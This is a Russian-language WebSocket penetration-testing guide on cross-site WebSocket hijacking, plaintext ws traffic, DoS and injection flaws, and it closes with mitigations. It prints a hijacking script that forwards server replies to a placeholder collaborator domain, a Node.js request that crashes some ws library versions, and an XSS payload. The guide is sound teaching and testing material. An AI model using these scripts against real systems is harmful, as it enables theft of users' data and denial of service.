Руководство по пентесту WebSocket

Что такое захват веб-сокета?

Как утверждает OWASP, протокол HTTP допускает только один запрос/ответ на каждое TCP-соединение. Асинхронный JavaScript и XML (AJAX) позволяет клиентам отправлять и получать данные асинхронно (в фоновом режиме без обновления страницы) на сервер; однако AJAX требует, чтобы клиент инициировал запросы и ждал ответов сервера (полудуплексный режим).

Веб-сокеты позволяют клиенту или серверу создавать "полнодуплексный" (двусторонний) канал связи, позволяя клиенту и серверу действительно взаимодействовать асинхронно. WebSockets проводят первоначальное подтверждение обновления по HTTP, и с этого момента вся связь осуществляется по каналам TCP с использованием фреймов.

Сервер несет ответственность за проверку исходного заголовка при первоначальном подтверждении HTTP WebSocket. Если сервер не проверяет заголовок origin при первоначальном подтверждении соединения WebSocket, сервер WebSocket может принимать соединения из любого источника. Это может позволить злоумышленникам взаимодействовать с междоменным сервером, что приведет к возникновению проблем, подобные CSRF.

Как работает WebSocket?

Стандартное взаимодействие WebSocket между клиентом и сервером включает в себя следующие шаги:

Клиент → Сервер: Клиент инициирует подключение к серверу, отправляя запрос на подтверждение соединения по протоколу HTTPS WebSocket.

Сервер → Клиент: Сервер возвращает ответ на подтверждение связи с кодом состояния 101 Переключение протоколов.

Сервер → Клиент: Сервер отправляет сообщение клиенту.

Клиент → Сервер: Клиент закрывает соединение WebSocket в конце.

Визуально процесс выглядит следующим образом:

Пример запроса, который инициирует WebSocket, выглядит следующим образом:

Каковы последствия атаки?

Атаки с перехватом WebSocket могут привести ко многим уязвимостям, таким как XSS, SQL-инъекция, XXE, раскрытие конфиденциальной информации, MiTM-атаки, атаки типа "отказ в обслуживании" и т.д. В случае возможности использования эти атаки могут привести к критическим результатам.

Как обнаружить + эксплойт

Чтобы выявить уязвимость WebSocket, можно выполнить следующие действия:

Позволяет ли приложение осуществлять связь с использованием ws вместо wss?
Существует ли проверка ввода для отправленного сообщения?
Проверяется ли заголовок Origin или вы можете указать там свой собственный домен? (попробуйте использовать это, если в запросе GET нет рандомизированного токена CSRF)
Возможно ли отправлять неограниченные междоменные вызовы, которые могут привести к DoS-атакам?
Используя клиент WebSocket, попытайтесь подключиться к удаленному серверу WebSocket. Если получится, сервер, вероятно, не проверяет исходный заголовок подтверждения WebSocket.

Некоторые из наиболее распространенных уязвимостей в системе безопасности можно перечислить следующим образом:

Незашифрованные сообщения
Перехват межсайтовых веб-сокетов (CSRF с помощью WebSockets)
Раскрытие конфиденциальной информации
Denial of Service (DoS-атака)
Cross-Site Scripting

Перехват межсайтовых веб-сокетов (CSRF с помощью WebSockets)

В случае, если WebSocket handshake полагается на HTTP cookies для сеанса и не включает токен CSRF, злоумышленник может создать пользовательский скрипт для установления межсайтового соединения WebSocket в своем собственном домене. Злоумышленник может извлечь конфиденциальную информацию, используя этот метод атаки.

Распространенный скрипт, который может быть использован для использования этой уязвимости, можно найти ниже:

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retrieve confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Раскрытие конфиденциальной информации

Протокол WebSockets, он же WS, - это обычный текстовый протокол, такой же, как HTTP. В случае использования, злоумышленник может перехватить и изменить трафик по сети.

Чтобы проверить, разрешена ли передача данных в виде обычного текста, можно использовать следующий инструмент:

Помимо тестирования в браузере с использованием ws://, вы также можете проверить, поддерживает ли приложение обычный текстовый обмен данными с ws, используя онлайн-инструменты, такие как тот, который можно найти здесь.

Denial of Service (DoS-атака)

Веб-сокеты по умолчанию разрешают неограниченные междоменные вызовы, что приводит к уязвимостям DoS. Ниже приведен распространенный сценарий, который приводит к сбою сервера WebSocket, что влияет на некоторые версии клиента ws:

const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'
const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');
const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Уязвимости при проверке входных данных

В случае слабой проверки входных данных при вводе пользователем WebSocket, возможно инициирование инъекционных атак с использованием уязвимостей WebSocket, таких как XSS, SQL injection, XXE и т.д.

Ради этого примера представьте, что есть приложение для чата, которое использует Websockets, которое мы тестируем. Когда пользователь вводит сообщение, оно может быть отправлено в следующем формате:

{“message”:”Hello world”}

В случае отсутствия проверки ввода (или обхода) злоумышленник может перехватить запрос с помощью веб-прокси (в данном случае Burp), чтобы вызвать всплывающее окно XSS, заменив свою собственную полезную нагрузку:

{"message":"<img src=1 onerror='alert(1)'>"}

Как бороться с уязвимостью

Легко предотвратить атаки с перехватом межсайтовых веб-сокетов, используя некоторые базовые реализации. Использовав следующие меры защиты, вы можете быть уверены, что личные данные могут передаваться по доверенным каналам только после установления соединения.

Зашифрованные сообщения: Используйте протокол wss:// (WebSockets over TLS) вместо ws://.
Заголовок Origin: Поскольку заголовок origin предназначен для защиты сервера от инициируемых злоумышленником межсайтовых подключений браузеров-жертв, обязательно проверьте заголовок.
Рандомизированные токены: Используйте индивидуальные для сеанса случайные токены в запросе подтверждения связи и проверяйте их на сервере.
Использование ограничения скорости на основе IP поможет решить эту проблему.

Более подробное описание атак с помощью WebSocket